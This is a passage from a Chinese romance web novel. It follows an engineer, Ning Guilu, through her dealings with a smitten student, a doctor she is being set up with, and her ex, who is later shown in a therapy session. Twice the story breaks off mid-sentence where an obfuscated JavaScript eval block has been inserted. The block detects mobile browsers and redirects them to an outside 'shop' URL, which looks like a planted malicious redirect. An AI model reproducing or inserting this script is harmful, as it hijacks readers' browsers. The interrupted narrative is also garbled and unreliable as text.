久到宁瑰露觉得他应该是有话要说。可安静等了好半响,他也没有说什么。他推开了车门,朝她微微颔首,又变回了那一副稳定平静的神情,道:“我走了。你早点回去。” “好,晚安。”她笑着,抬了抬下颌。 他下车,反手阖上了车门。 直到目送他走进了大厅里,她才启动车离开。 听见车远去的声音,他停下脚步。冷静无波的神情这一刻才浮现出了些极度的茫然和失魂落魄。 他想问她:我们现在算什么关系? 又或者:你是拿你对情人的那套在应付我吗? 可他问不出口。 他怕听到的不是他想听到的回答。他怕好不容易破冰、有进展的关系又跌回了冰点。 因为不再是一无所有,更怕连南柯一梦都成空。 下次,下次见面。 应该要把话都说开了。 他想到。 她买了十几种药留给他。庄谌霁淋浴过,却没有上药。 她给他抹得很及时,没能让伤口冒出水泡。不过被热水一冲,又痛痒了起来。程度很轻,没有到不可忍受的地步。 他照常换上睡衣躺上床。 仍旧睡不着。却不是以往失眠的难捱。 一闭上眼,他就还能想起她的吻。 如果还是能走到今天…… 那错过的那么多年,都是为了什么? 宁瑰露当天晚上回去就做了个梦。 梦里尚且青涩、少年气微褪的青年头埋在她颈窝里,情至深处,牙齿叼着她的颈窝肉,滚烫的眼泪却一滴一滴砸落在她肩上。 身体一阵一阵地颤抖。 她哄着他:“我还没哭呢,你哭什么?” 他声音沙哑:“就两年……你不要,不要喜欢上别人,等等我,好吗?” 她沉默了许久,只是伸手摸了摸他柔软的发梢。 于是他懂得了她的沉默。 “我不走了,我们能好一辈子吗?” 她竟会耐心回答他这么幼稚的提问。她说:“可能会吧。” 可惜没有“可能”。她已明白人人都有自己的路,生离死别都是人生常态。可他似乎还太小,不明白这个道理。 能做一场童话故事的梦也挺好。 不要着急惊醒他。 梦醒后,她回忆整个梦境,觉得很荒诞。 问出那么幼稚问题的究竟是“他”,还是她的潜意识? 她挺想笑。 笑自己年近三十了还在做少女漫画的梦。 一打开手机,预览界面排满了聊天框。她把工作消息优先处理了一下,私人消息剩下几条。 一条是大伯母发来的,问她和小李接触得怎么样,要不要继续相处相处。 对长辈的关切,她一向礼貌且搪塞:挺好的,再看看吧。 一条是李骧十几分钟前发来的:刚刚下夜班,好困。 她回:真辛苦,早点回去休息吧。 一条是辜行青发来的,小孩发了个猫猫伸懒腰的表情包,说:露姐,早上好。 她回:早啊,要上早八吗? 一条是庄谌霁发来的,凌晨五点,他说:露露,有时间我们谈谈吧。 她就知道。 宁瑰露揉了揉额头,工作上不容错漏的项目已经够让她殚精竭虑、心力交瘁了,她实在不想把感情也变成一场严肃刻板的正式会谈。 谈恋爱么,本来就是调剂生活的调味品,菜下锅了洒上一点就行,谁家菜放多了盐都下不了嘴。 他们这个圈子里的人,真心比高品质翡翠更稀有,都是图个一时欢愉,通常不会招惹圈内人,除非是奔着门当户对结婚去的。 不巧,即便三十了她也还没考虑过结婚一事,更不想招惹麻烦。 她斟酌片刻,回他:过段时间吧,有空了我联系你。 27. 第二十七章 中午食堂一个半小时,人一波换着一波来,是各个部门交换闲谈八卦的时候。 文控严愫端着餐盘走过来,在宁瑰露对面落座,神神秘秘道:“宁工,黄澳镇昨晚出大事了,你听说了吗?” 黄澳镇离他们单位很近,食堂采买都是从那边进货。 宁瑰露挑出鱼刺,疑惑问:“没听说,出了什么事?” “听说是有个大赌场被挖出来了,地底下一间地下室,全是黄金,听说还牵出几个……”她往头顶上指指,“落了马,啧啧。” 宁瑰露:“赌场还是黄金矿场?地下室装黄金,是不是有点夸张了?” “我也不信,但昨天在短视频上看到视频了,警车、武装押运车、特警都出动了,整个黄澳镇一晚上没有消停。” 蜚短流长传得越广,越会有失实的地方,宁瑰露不尽相信,也只跟着啧啧两声:“谁胆子这么大。” “是啊,没有保护伞谁敢干这种牢底坐穿的事?现在都说这个赌场上面有人护着,天子脚底下玩暗度陈仓。这举报的线人胆子也是真大,这要是昨天没曝出来,那线人估计……” 她阴恻恻做了个抹脖子的动作。 这动作太幽默了。 宁瑰露差点呛着,掩着鼻子忍俊不禁:“严工,少看点警匪剧吧,没有那么夸张。法网恢恢,疏而不漏,这种事谁敢做保?一旦东窗事发,谁敢摁?谁摁得住?” 严愫摇摇头:“你太天真了,太阳底下无新事,这世界的黑暗面多着呢。” 长这么大,宁瑰露还是头回被人用“天真”来评价,也是匪夷所思。 她哭笑不得地摇摇头,不再讨论这个真实性有待商榷的话题。 “宁工,你下午是要去工大吗?” “对。”她揶揄,“怎么?想跟我一起翘班啊?” 严愫苦笑:“我倒是想出去,一堆事绊着呢。是这样的,我表弟在外国语上大学,前几个月家里给他转生活费,他都没收,他姥姥没办法,就把钱打到了我卡上。我给他转他也不收,我又没时间去他学校找他。正好你今天去大学城,我待会去取了现金,你帮我把钱给他,行吗?你是陌生人,总不能钱到了你手上,他还不要。” “呃……” 宁瑰露抠了抠眉心,觉得这事有点麻烦。 看出她为难,严愫道:“不用去找他,我把他电话给你,你到时候叫他去工大找你就好了。” 这倒少了许多麻烦。 她点头,唏嘘:“那行,顺手的事。现在小孩真不省心,给钱都不要,还得强塞。” “那倒不是,我这表弟挺乖的。他爸妈说来和咱们也算半个同行,搞化工工程的。当年泾市719大爆炸案你还记得吗?” “记得。七八年前的事了吧。” “嗯。他爸妈那天加班,就那场事故里没的。” 宁瑰露抬头看严愫,难掩惊讶:“那他现在家里只有一个姥姥了?” “是啊。不过我妈也挺疼他的,毕竟就这么一个外甥了。” 这话题聊得有点沉重,这忙不帮都不行了。 宁瑰露惋惜地叹口气:“你把他手机号给我吧,我记一下,下午实验室那边要是不忙,就去一趟外国语。” “哎,那感情好。我就怕他下午要上课,赶不过去。” 严愫拿手机划拉了两下,复制了号码发给她:“发你微信了。” 宁瑰露扫了眼屏幕,看见了一串数字:“行,收到了。” 吃过中饭,在办公室休息半个钟头,宁瑰露就开车去了大学城。车开到路上才想起来给小朋友提前打个电话。 她戴着耳机,长按了下严愫发来的号码选择拨通。 短暂拨号音后电话很快通了。 没等那边开口,她先自报家门:“你好,是小严吧?我是你姐姐的朋友,有点事找你,你下午有时间吗?” 那边安静了个五六秒钟,青年清越的声音咬字清晰,而又语气无奈:“姐姐,我不是小盐巴,我是小锅巴。你是不是打错电话了?” 这声音有点耳熟啊。 宁瑰露扫了眼手机拨号界面,愣了愣。 只见通话人上赫然标着:辜行青 宁瑰露:“……” 操?打错了? “真打错电话啦?”辜行青又问了一次。 “没打错。”宁瑰露又确认了一遍号码,没想到有天修炼出的泰山崩于顶面不改色的功力要用在这种地方,“你姐姐是叫严愫吧?” “你们认识?”辜行青显然才是大吃一惊。 “还真是啊。真行。”她忍不住笑了,嗓音清冽,“那小朋友,你下午有时间来工大吗?” 辜行青的心一下被过山车抛了起来,声音发紧:“我,我下午第一节有课,三点半下课……你还在工大吗?” “在,不用着急,我等你过来。”她看看交通信号灯,又问,“晚上没安排吧?” “本来有,现在没有了。” 辜行青说得很爽快。 宁瑰露调笑道:“心这么大,就不问问要做什么?不怕把你带去卖了?” 他踌躇了下,好奇问:“那晚上做什么?” “真逗,猜着吧。我开车呢,不聊了,下午见。” “好。”他声音软软的,“那你开车注意安全。” 小朋友啊,真是小朋友。 宁瑰露笑着摇摇头,挂了电话。 实验室装了一个多月,工期也过了大半了。宁瑰露到的时候油漆工正在粉刷墙面,室内一股呛鼻的漆味。 她戴了口罩进现场,工地经理也在,和她说了说现在的装修进度。 “有一批设备先到了,现在都放在学校仓库里。宁老师,您得和学校说一下,别急着交付设备啊,这场地还没腾出来,到时候设备出问题,过了保修期也麻烦。” 宁瑰露没纠正对方称谓,也没再重申学校那边的事情她管不着。对工地工人来说,在学校工作的都是老师,至于你到底干什么的,那不重要。 她点头道:“行,这个问题回头我跟学校采购反映一下。” “还有,宁老师,你们这边工期催得太紧了,我们人手紧张,只能去外面调人,这费用上肯定是比我们自己人稍微要高一点的,您看看能不能再加点工钱?” “加多少?” “一人加两百,您看行不行?” 她震惊重复:“一人一天加两百?” “哎,对。” 宁瑰露不接这烫手山芋:“公账不从我这走,我把财务那边电话给你,你和他们谈吧。” “宁老师,您是实验室负责人,这财务报销肯定是听你的啊。您放心,我们这边肯定少不了给您的意思。”他压低了声音。 听他话音宁瑰露就知道,八成是被财务那边踢了皮球,接着又把这皮球踢回了她这里。 那点经费本来就捉襟见肘,还人人都想咬上一口,哪有那么好的事。 她皮笑肉不笑:“这您就高看我了,钱不在我手上,我说话也就是句空话。这样,我把院领导的电话给你,你和他们谈谈吧。” 踢皮球么,谁不会。 辜行青赶到工大老图书馆的时候,宁瑰露还在和负责人交涉。她验了下工程,不大满意,很多边角都处理得很粗糙,甚至连几面白墙粉刷都能刷出色差来。 油漆工说是太阳晒久了把油漆晒变色了。宁瑰露自认为自己长得应该不像弱智,也不跟他们掰扯,严肃勒令返工。 这水平还想加工钱,先不说别的,起码把墙都给她刷白了再说! 室内油漆味太刺鼻,辜行青提了一口气,喊道:“露姐!” “宁老师,找你的?” 负责人问。 宁瑰露回头看去,见辜行青已经到了门口,她摆了把手,又向上指指,示意他先出去。 压着火气把事情交代了一遍,宁瑰露带着一身燥热走出工地,这时才发现辜行青还没走,正靠在墙边等着她。 青年腰瘦腿长,仰着下颌看走廊一线透出的枝木绿光,等了有一会儿了,发着呆,连剪影都漂亮得像漫画。 她心情稍稍转好,摘了口罩出声问:“怎么不上去?” 他迅速扭头看过来,一笑露出了小虎牙:“我在等你。你忙完了吗?” “差不多了,我得去洗个手。” “好。” 他迈开腿亦步亦趋地跟着她往洗手间走。 水池边,她挤了一泵洗手液,揉搓着摸过墙灰的手指,意思了一下,正要冲水,辜行青伸手在她腕骨上一点:“这里还有油漆。” 她啧一声,用力搓了搓。 油漆防水,很难洗净。 见她将手腕揉得通红,辜行青伸过手轻声道:“我帮你弄。” 青年不敢看她,低着头,手指牵着她腕骨,认真盯着她手腕,轻轻地用指甲给她挫着那小块油漆。 “你手怎么这么烫?”她声音低低的,好似明知故问。 青年抿着唇,红温一点点从脖颈烧到了耳廓,却不敢答。 油漆挫净了。他拧开水龙头,将她的手腕带到水流下冲了冲。 水淌过她的手腕,也淋湿了他的手指。他换了个姿势,四指握着她掌心,用拇指轻轻摩挲她搓红的腕骨。 水流渐凉,痒痒麻麻的,他舍不得松手。 好一会儿,宁瑰露都忍不住笑了:“还没握够啊?” “没……不,不是!” 他脸一下全红了,臊得眼睛夜明珠般水盈盈的。关下水龙头,松开手道:“洗干净了。” 她不怎么放心上。扯了两张纸擦手:“好了,走吧,吃饭去。” “这么早吗?现在还不到五点。” “你不饿?” “还好。” “我饿了。” “那吃饭去吧!”他愉快地答应了。 又坐在了上次一模一样的餐厅,一模一样的位置上。 辜行青道:“你也觉得他家还不错吗?” 宁瑰露擦着筷子,问辜行青:“你知道我为什么觉得这家餐厅还不错吗?” “因为他家用料很新鲜,食材都是老板早上亲自去市场买的。”辜行青猜测着。 宁瑰露笑着摇了摇头。 “那是因为这里性价比比较高?”说完,辜行青自己先摇头了。她不是那种会斤斤计较一顿饭性价比的人。 果然,她也摇了摇头。 他环顾四周,再反问:“是因为这里氛围比较好吗?” “也不对。” “那我猜不到了。”他讪讪。 宁瑰露放下筷子,搭在小巧的瓷质筷枕上,轻笑道:“因为有秀色可餐。” 辜行青先没反应过来,缓冲过后,脸一点一点爬满了红霞。 “你……我……” 他落在膝盖上的手紧紧扣住,感觉被撩拨得要飘起来了。 被爱操纵的感觉太过奇妙,如飘飘乎登仙造极,乘舟逐月而去,天地苍茫缥缈,唯此一刹那永恒。 他抬眼看她,对上她不躲不闪的目光,他忽然笃定地想:她一定也喜欢我。 那时他那么天真,那么稚勇,竟不知道,喜欢是可以装出来的。 五点出头,她接了个电话。 辜行青默默将拉面碗里的豚肉夹给她,她用筷尾敲敲他手背,示意他自己吃。 他摇摇头,想装作没在意,但又控制不住竖起耳朵听她打电话。 “嗯,今天恐怕不行了。 “对。 “那改天吧。我定的话,这周五? “好,那周五晚上见。 “嗯,这两天好多了。”她笑着道,“哪里,还是要多谢你送的药。” “好。我吃饭呢,那回头聊。” 见她挂了电话,辜行青才抿下那根咬了半天的拉面,好似随口问:“朋友叫你去吃饭吗?” “一个相亲对象。”她很是坦诚。 刚夹起的一筷子拉面滞在了半空中,他愣了半天,呆呆地看着她。 宁瑰露放下手机,好笑道:“很惊讶?等你到我这个年龄还没结婚,也会有排着队的相亲对象等着你去见。” “你……”他眉头紧皱,“你也不算大。” “我都二十九了,小朋友。” “二十九也不大。”他执拗说。 “我上大学的时候,你还在读小学呢,小朋友。” “你不要叫我小朋友了。” 他不喜欢这个称呼,好像时刻在提醒他,他们相差那么大,是没有结果的。 宁瑰露倒也从容:“那叫你什么?小辜?小青?还是……行青?” 他抿着唇,耳朵红红的,讷讷撂下一句:“都可以,随你。” “哈哈哈哈哈——” 逗小孩太好玩了,宁瑰露笑得捧腹。 他知道她在拿他取乐,但心里奇异地没有任何反感,反倒像被团进了一只猫,暖乎乎,软乎乎的,叫人也忍不住跟着她笑起来。 他甚至没意识到,关于相亲对象的话题就被这么三言两语带了过去。更没意识到,他在潜意识里已经给她找好了开脱的理由。 那是家里人安排的相亲,她也不过是迫于压力,当然……是可理解的。 如果她对那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13130184|135645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些相亲对象有意思,怎么还会约他单独出来吃饭呢?可见那些人都无足轻重。 可他心里还是生出一种更迫切的紧张感了。 他们两个之间的联系,完全由她掌控,每次见面,时间由她安排,地点也由她安排,这样被动让辜行青很没有安全感。 因此,在宁瑰露开车送他回学校时,他干出了一件自己都觉得轻浮的事。 他牵住了她的手。不是以洗手,或者别的什么为理由。就是那样无由头的,而又直接地牵住了她。 他生怕她会甩开他。 但在略微惊讶地看了他一眼后,她纵容地将手交由他握着。 她的手掌并不柔软,指腹能摸到粗糙的茧,相比起来,他的手反而更软。 大抵是因为喜欢吧。他反而觉得她的手很特别,是那种独特的,再找不到第二份相似的特别。 那么瘦削的手指,竟然会有那么硬的老茧,就像一只常年握枪的手,多特别啊。 路上又堵了车。宁瑰露从手箱里拿出了一个钱包,递给了辜行青。 辜行青愣了下,难以置信地看她。 “想什么呢?你姐姐让我转交给你的。” 他迟疑了下,还是接过钱包,拉开拉链看了眼。里面是塞得鼓鼓囊囊的一大包鲜红钞票。 “你姥姥打来的钱,你姐姐也补了一些。”宁瑰露说。 辜行青脸又红了,只是这次不是因为害羞,而是因为臊慌。那种身上披着的体面的遮羞布被人揭开的臊慌。 “我不要,你给她拿回去吧。” 他拉回拉链,将包放到了手箱上。 “你在外做兼职,就是为了不要家里给的生活费?” 辜行青没吭声。 宁瑰露无奈道:“学有余力,想多和社会接触,这是好的,但如果为了挣钱影响了休息和正常生活,那就得不偿失了。” 辜行青只有苦笑一声:“露姐,你可能不知道我家的情况……总之,我不能要我姥姥的钱,那是她的养老钱。” “我听你姐姐说了。你姥姥是高级教师退休,每月退休金没你想的那么低,供你这点生活费还是绰绰有余的。你觉得自给自足是给你姥姥减轻负担,但你还是个学生呢,不要家里的钱,一个人在外地上学,你觉得你姥姥能放心吗?” 有些道理其实不是不懂,只是这个年龄段正是把那点儿尊严看得比什么都重的时候。做不来,也不愿意做啃老的事。 “你能健健康康的,快快乐乐的生活,偶尔给家里打个电话,发发视频,对你姥姥来说,这就是最大的孝顺了。” 宁瑰露自己最讨厌这些冠冕堂皇、无济于事、站着说话不腰疼的车轱辘话了,却没想到从自己嘴里说出来,也能扯得这么顺畅自然。 这些话,家里人说,是听不进去的,朋友说,听了也只是一笑置之。唯独喜欢的人说了就不一样了,像帝王施令,叫人忍不住想服从,并且心甘情愿地服从。 他低低地“嗯”了一声:“我知道了。” “真乖,以后家里打的生活费就好好收下,用不完就存着,有什么想买的也别省省减减的,人这辈子能喜欢的东西都是有限的,过几十年再回头看,你现在喜欢的很多东西都索然无味了,所以,别把自己过得那么苦大仇深的,喜欢什么就去喜欢,想追逐什么就去追逐,你那么年轻,你……” 她一扭头,唇上蓦地一软。 青年解开安全带,猝然起身,啄了她一口。 宁瑰露:“……” 辜行青认真看着她:“是你说的,我还年轻,喜欢什么,就去喜欢。” 她陡然一哂,神情难以言喻,不知是无奈还是被气笑了。 前车动了,她开车跟上,没跟他计较揩她油这事,瞥他一眼道:“把安全带系好。” “唔。” 他的心跳还在开云霄飞车,不时瞥她脸色一眼,见她神情如常,心里更七上八下了。 她生气了?没生气?没当回事? 将他送到学校门口,宁瑰露等他下车。 辜行青手握着安全带扣,扭身看着她,期期艾艾问:“你晚上,还有安排吗?” “有。”她干脆说,“晚上回去还有点工作要处理,怎么了?” “喔。”她堵死了他的话,他藏不住失落,但还是想尽力表现得通情达理,“那没事了,你回去忙吧,路上要注意安全。” 他下了车。 宁瑰露瞥见钱包还在车里,放下副驾驶车窗喊了声:“钱拿走!” “唔。好。” 他接过她从车窗里抬手扔出来的包,垂下手,站在原地静静地看着她。 “回宿舍吧,好好复习考试,拜拜。” “嗯,拜拜。” 他摆了摆手,目送她发动车离开。 手里握着的包沉甸甸的,他心里的失落却一直往下沉。 对刚刚的事,她没有任何反应。 他原本想说,刚刚那个是我的初吻。 现在也不必说了。 她似乎,并不在意。 裹着热意的肃风吹过,湖泊荡然起皱,井然有序的世界崩塌颠倒。 他像站在湖上看自己,分不清岸上的是自己,还是湖里的剪影模糊的是自己。 爱真叫人自寻烦恼。 兔子不吃窝边草一直是宁瑰露信奉的感情原则。之前不熟,就当交个有点意思的朋友打发时间,无伤大雅。 可得知他是她下属的弟弟,那就不行了。她至少在这个单位还要待十年以上,以后怎么跟同事相处,还怎么树立领导威信? 当然,还值得考量的一点是,他啄她那一下,除了有点意外和惊讶,那一刻竟没有其他任何感触,就像胳膊撞了嘴一般不痛不痒。 如果在从前,她不会觉得这很重要。 毕竟上唇和下唇、唇和舌打了个这么多年交道也没有摩擦出什么火花,可见嘴唇本身就没有什么敏感神经,所谓激情接吻也不过是情侣表达亲密和占有欲的方式。 直到昨天晚上。 仅仅是轻轻相贴,那种一股电流从尾椎直冲脑袋顶,如同炸烟花的体验,才叫她明白,原来接吻,真的会叫人肾上腺素飙升,诞生一种,爱和激情的奇妙感受。 可怎么偏偏就是庄谌霁呢? 她宁可是辜行青、李骧,再甚至是张思珩…… 算了,张思珩不行,非得和他在一块,老爷子得跳起来把她崩了。 可庄谌霁也不行。 一来他们性格不合。 二来他们还有隔夜仇。 三来她绝不吃回头草。 真操蛋啊。 28. 第二十八章 李骧从来没有见过像她这样的女人。 她不化妆,衣着也不加精心修饰,总是常年穿着一件衬衫和长裤。 她身材瘦削,但不单薄羸弱,就像竹,与红杉、梧桐相较,枝干更为细瘦,但竹最不缺“任尔东西南北风”的坚韧和“更容一夜抽千尺”的生命力。 她有那样一种笃定而游刃有余的气质,叫人站在她身边,便觉得能信任她、服从她。 第二次见面,他们约在一家商场。 他原本订了两张下午的电影票,吃过午餐就能去看电影。在顺着扶梯往上走时途径喧嚣吵嚷的游戏城。他投去目光,往那里看了几眼。 她出声问他:“想玩吗?” 李骧惊诧于她连自己扭头一瞥的细枝末节都关注到。 “不了吧,”他是有几分好奇,但自觉已经是个成熟的成年人,持谨道,“那里面好像都是小孩在玩。” “今天六一,谁规定大人就不能过六一了?” 她在他肩上轻拍了两下,从容地带着他向游戏城走去。 李骧看她进得轻车熟路,疑惑问:“你来玩过?” “小时候我哥喜欢玩这些赛车和枪战游戏。” “你有个哥哥?之前没有听说,他现在在京市吗?” 她似乎顿了顿,语气很淡地简单带过:“他在外地工作。” 迈入游戏厅,游戏机尖锐高鸣的音乐声盖过了说话声,宁瑰露去买币,让他先去看看想玩什么。 对李骧来说,晦暗不明、嘈杂喧嚷,小孩四处乱窜的游戏城像个异世界。没成年时,父母视这种声色场所为洪水猛兽。成年后有了自主权,又觉得这是小孩才来玩的地方,更没有踏足过。 她显然熟门熟路,每台游戏机她都说得出玩法。李骧是从小恪守好孩子标准长大的,看什么都新奇,首次打开新世界大门,往前迈出一步,也只是拿了几个币去抓娃娃。 他以为抓娃娃是个技术活,新手都是竹篮打水一场空,被她领着一玩才发现什么技术不技术都不重要,一千个币砸下去,想要什么都能砸出来。 他执着于要抓出机器里的Q版奥特曼。她倚着娃娃机打电话,电话打完了,他还没夹出来,错过了一个强力爪,气得抿着唇闷闷不乐往里投币。 她倚靠着透明的机柜,握着手机,抱臂,看着他笑,道:“不着急,慢慢抓,币不够了再换。” 他抬起头飞快看她一眼。厅内灯光薄淡,映衬着她轮廓素描画般立体深邃,但她眼神又温柔有力量,静静地倚在那,看着你,便叫你觉得躯壳有支撑。 电影已经开场,但谁也没提起看电影的事。 李骧是个很有规划的人,头一次,在没有任何不可抗力因素的情况下,他选择了不按计划行事,仅仅是专注享受当下和她在一起的每分每秒。 他们把娃娃机里好看点的娃娃几乎都抓了一遍,在柜台存了五十多个娃娃兑了一百多积分。 三百积分可以换一个半人高的奥特曼。 她发觉了他的童心未泯,笑着道:“下次再带你来玩,争取把那个大的拿下。” 剩下的娃娃,她让他带回去。 他只留下一个奥特曼和一只带着紫色帽子的小鸭子玩偶。 她问他为什么要留那只小鸭子。 他说做工很好,也很可爱。瞥她一眼。没说的是,他觉得鸭子的紫色帽子,和她今天穿的衬衫是一个颜色。这样他看着它,就能想起和她约会的今天。 体验很新鲜,也很开心。 儿童节,街上哪哪都是大人带小孩。 李骧的车今天限号,是坐公共交通过来的。他还要回科室上晚班,宁瑰露开车带他去朋友开的一家私房菜餐厅吃了晚饭,接着送他回医院。 李骧抱着两个娃娃下了车,犹豫了下,绕过车头走到了驾驶室外。 宁瑰露问他:“怎么了?” 他弯下腰往里看,踌躇了好一会儿,他轻声问:“我可以抱你一下吗?” 她略一诧异,挑起眉调笑:“小李同志,见两次面就要抱,你是不是有点太开放了?” 他赶忙摇头,眼神里分明有点儿失落,解释道:“对不起,是我冒犯了。今天是我阳历生日,我没有别的意思……就是想……” 她拉开了车门,道:“不让让?” 他立刻退开身。 她下车,伸出手臂搂了他后腰一下道:“好,抱了。” 他控制不住喜悦,双手还拿着两个娃娃,张开手臂紧紧地抱了她一下,低下头,鼻尖蹭过她的肩膀,开心得无以复加。 “好了,单位门口,小李同志,你还是注意注意形象。”她拍拍他肩膀。 “那我去上班了,我们,下次见?” “好,下次见。”她笑着点点头。 一辆车堵在他们后边,司机催促地按了按喇叭。宁瑰露上了车,从医院另一边开了出去。 助理陪庄总来院复查,在门口堵了一两分钟,看见前面一对小情侣搂搂抱抱。在女生弯腰上车时才惊觉眼熟,他错愕道:“庄总,那是不是宁小姐?” 后座只有一片死一般的沉寂。 前车开走了,后座才传来两个字,他说:“不是。” 助理讪讪道:“那应该是我看错了。” 后座的鲜花在孜孜不倦地散发着花粉清香,宁瑰露掩了掩鼻子,实在受不了那股冲鼻的鲜花味,将车停在路边,随手把花塞给了一对挽着手从医院出来的夫妻。 一个下午的时间,车都快被花粉味腌入味了。 鲜花、香水、玩偶这些华而不实的东西她在十八岁以前已经收腻了,拒收显得不近人情,带回家又占地方,她倒宁可收两盆绿植,种点狗尾巴草都行,好歹还能多养个几年。 她回了公寓,洗了个澡,正准备加班的时候,接到了庄谌霁打来的电话。 她敲着电脑,开着免提,先问他:“怎么了?今天儿童节,你没陪你儿子过节?” 电话那头安静了两三秒钟,他回答:“他们学校有安排晚会。你今天没有上班?” “上啊,刚回单位。” 他好似松了口气。 宁瑰露问:“怎么了?” “刚刚在街上看见一个人……” “很像我?”她接过了他的话,意味深长地笑着,“说不定就是我呢,怎么不过去打个招呼?” “不是你。” 他确切地说完,很快转移话题:“这个月你什么时候有时间?” “可能月底吧,上半年马上结束了,好几个项目等着交付。”她轻描淡写。 上次月底,她说过段时间,现在月初,又要等到月底? 他沉默片刻,问她:“你是不是在躲我?” “没,”她好像有些意外,反问他,“我为什么要躲你?” 她听到他那边有人走近的声响,听到一句很低的:“庄先生,米医生可以了,您过来吧。” “稍等。” 声音有些闷,应当是他捂着话筒回答对方。 “你在医院?”她敏锐听到了关键词。 他回答得简单:“嗯,胃病复查一下。” 宁瑰露拧了拧眉:“你胃到底怎么回事?” “……到我了,待会打给你。”他说。 她眉头皱得死紧,“行,看完了回个电话给我。” 她是在关心他还是客套寒暄? 庄谌霁握着手机静默了好一会,直到电话那边先挂断了,他才起身进入治疗诊室。 一杯温水已经摆在桌上,医生停了手上的笔,合上记录表,先打量他的神情,而后目光落在他摩挲的指节戒指上。 她温和,一语中的:“你今天心情看起来不太好,可以说说发生了什么事情吗?” 米医生是位相貌很和蔼的妇女,笑眯眯的,语气和缓,摆出了倾听的姿态。 他张了下唇,似乎想倾诉,但很快又将这种欲望按下去,平静道: “没有什么事。 “今天还是先去做血常规?” “不着急。你上两周过来,我和你说,你状态好了不少,还记得吗?其实只要能维持上周的状态,睡眠障碍、记忆衰退,这些躯体化症状都会有所减轻。但你今天情绪很紧绷,甚至是……”她斟酌着用词,“有一点点敌意?能告诉我发生了什么吗?” 在医生的关切里,他开口,也只掀了掀唇,平淡得像复述一件和他毫不相干的事:“在路上好像看到一个朋友。应该是我看错了。” “是关系比较好的,还是不太好的朋友?” 他回以沉默,是种下意识的回避。 医生了然:“你和她确认了吗?” “是的。”他的胳膊在轻轻发颤,他摁住了膝盖,极力表现得平静,“她今天在单位,刚下班。是我看错了。” 在描述亲眼看到的事情时,他用的是“好像”“应该”这样不确定的概括词,而在转述时,却很笃定地用“是”这个判断词。 这是一种强烈的自我心理暗示。 是一种患者出于自我保护,不自觉篡改记忆、事实的自发性行为。 这种行为常发生在受过强烈伤害的群体身上。当受到伤害后,出于自我保护,意识会主动将被侵害的行为合理化,回避心理上的二次重创和崩溃。 譬如遭到家暴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13151984|135645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小孩无法逃脱困境,将父母的变态责罚扭曲为爱和教育的表达方式,以维持心理和机体的继续发育。 不是因为他们太脆弱,选择逃避,恰恰是他们太坚韧、太能忍受痛苦,才产生了应激回避。 他们合作多年,对他的问题根结所在,她早有判断。 又聊了聊他近期现状,她像一个老友一般拍了拍他的胳膊:“小庄,我和你说过的,你的问题根结在于你太追求完美,学业、事业,甚至感情上都想达到一种最极致的状态,不是说这样不好,但这会让你活得很累,很焦虑。 “你要接受自己会犯错误,要接受生活有瑕疵。别人不那么喜欢你,不那么认可你,那都没关系,最重要的是你自己心里要爱你自己,接纳你自己。 “你不能把爱放在别人身上。难道别人不爱你,你就不爱你自己了?这不可以的。” “谢谢,我会尽力调整。” 这样的话她已经听他说过太多次,他很配合,从治疗过程来看他的态度是积极的,积极吃药,积极进行心理干预,但从结果来看,他一直是消极抵抗的,否则病情不会愈演愈烈。 心理医生所能做的一切非常有限的,她明白他的根结所在,却也没有办法彻底治愈他的创伤。 谈话时间还有很长,他见她身前还放着记录本,道:“你做记录吧。我一个人坐会儿。” 知道他需要安静的环境调适情绪,她应了声可以,低头记录今天的谈话过程。 笔尖划过纸张,落下沙沙的白噪音。 他靠着沙发椅背,安静地盯着眼前米黄色的墙。 有时候米虹会冒出一种想法。他与其说是来进行治疗,不如说是单纯为了找个人说说话。 十分钟过去,感觉时间差不多了,米虹开口道:“小庄,你有没有想过换一个环境?比如去国外找一个度假村,住一段时间?” 在她问第二遍时,他眼睛才缓慢眨了下,回答:“国内事多,走不开。” 到底是事多走不开,还是有放不下的人和事? 米虹顿了顿,温声说:“小庄,人和环境是息息相关密不可分的。你看,你生病了,一个人扛着肯定是很难受的,如果你愿意,你下次可以带你信任的家人,或者朋友过来,我和他们沟通沟通。还有一个就是,你有没有想过养养小宠物转移一下焦虑情绪?比如小猫,小狗。我们人都有爱和被爱的需求,这很正常,不是什么值得羞耻的事。好比养只小猫,小猫不小心摔到地上,我们第一反应是抱起它,安抚它说‘噢,摔疼了没有?’这其实就是表达我们潜意识里想要被爱的方式。当你能找到一个媒介把心里的情绪释放一点的时候,也会更舒服一些的。” 那天的谈话有两个小时,但不持续,聊一会儿,又安静一会儿,节奏舒缓,没有任何压力。 但也无济于事。 米虹能感觉到他的注意力在游离。 他的根结没有疏通,叶子打理得再干净,也是要枯黄的。 身为心理医生,她对每位患者都怀着一份医者仁心的同情和关心。 最担心的不是那种还有力气大吵大闹的病人,而是那种突然转好后又变得默不作声的病人。 看起来很稳定,可一扭头他们可能就想不开了。 整场咨询,他的目光不是落在她身后墙面上,就是落在手机上。 她问他是不是在等谁消息,他又摇头说没有。 这种无意识的焦虑投射让米虹忧虑更深了。 “小庄,”交代完用药控制剂量,她恳切说,“你一定要把你心里郁积的那些情绪、感受,都释放出去,坏情绪憋在心里就像炸-弹,是会把自己引燃的。” 